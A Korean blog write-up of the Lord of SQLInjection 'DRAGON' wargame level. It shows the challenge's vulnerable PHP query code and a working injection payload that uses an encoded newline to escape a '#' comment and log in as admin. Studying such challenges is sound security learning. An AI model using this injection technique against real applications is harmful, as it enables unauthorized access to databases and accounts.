본문 바로가기
[웹해킹]/[LOS]

[LOS] DRAGON

by Hevton 2020. 12. 28.
반응형
<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>

한줄 주석인 #을 이용하고 있는 쿼리다.

이런 경우 개행을 이용해주면 문제를 풀 수 있다.

 

기존 아래 쿼리를

select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'

입력에 개행을 넣어줘서 아래처럼 만들어준다.

select id from prob_dragon where id='guest'# and pw='
and pw='1' or id='admin'

( 이렇게 입력 : pw=%0d%0aand%20pw=%271%27%20or%20id=%27admin )

 

서버 환경에 따라 개행 문자 인식이 두 가지가 있다.

1. 윈도우 : %0d%0a

-> %0a하면 개행 역할을 완전히 하지 못함.

2. 유닉스 : %0a

-> %0a만으로도 개행역할을 해줌.

 

나는 개행 문자로 %0d%0a를 사용했다. 근데 %0a도 먹히더라. 아마 유닉스 기반인 듯 싶다.

 

반응형

'[웹해킹] > [LOS]' 카테고리의 다른 글

[LOS] DARK_EYES  (0) 2020.12.30
[LOS] IRON_GOLEM  (0) 2020.12.29
[LOS] XAVIS  (0) 2020.12.27
[LOS] NIGHTMARE  (0) 2020.12.25
[LOS] ZOMBIE_ASSASSIN  (1) 2020.12.22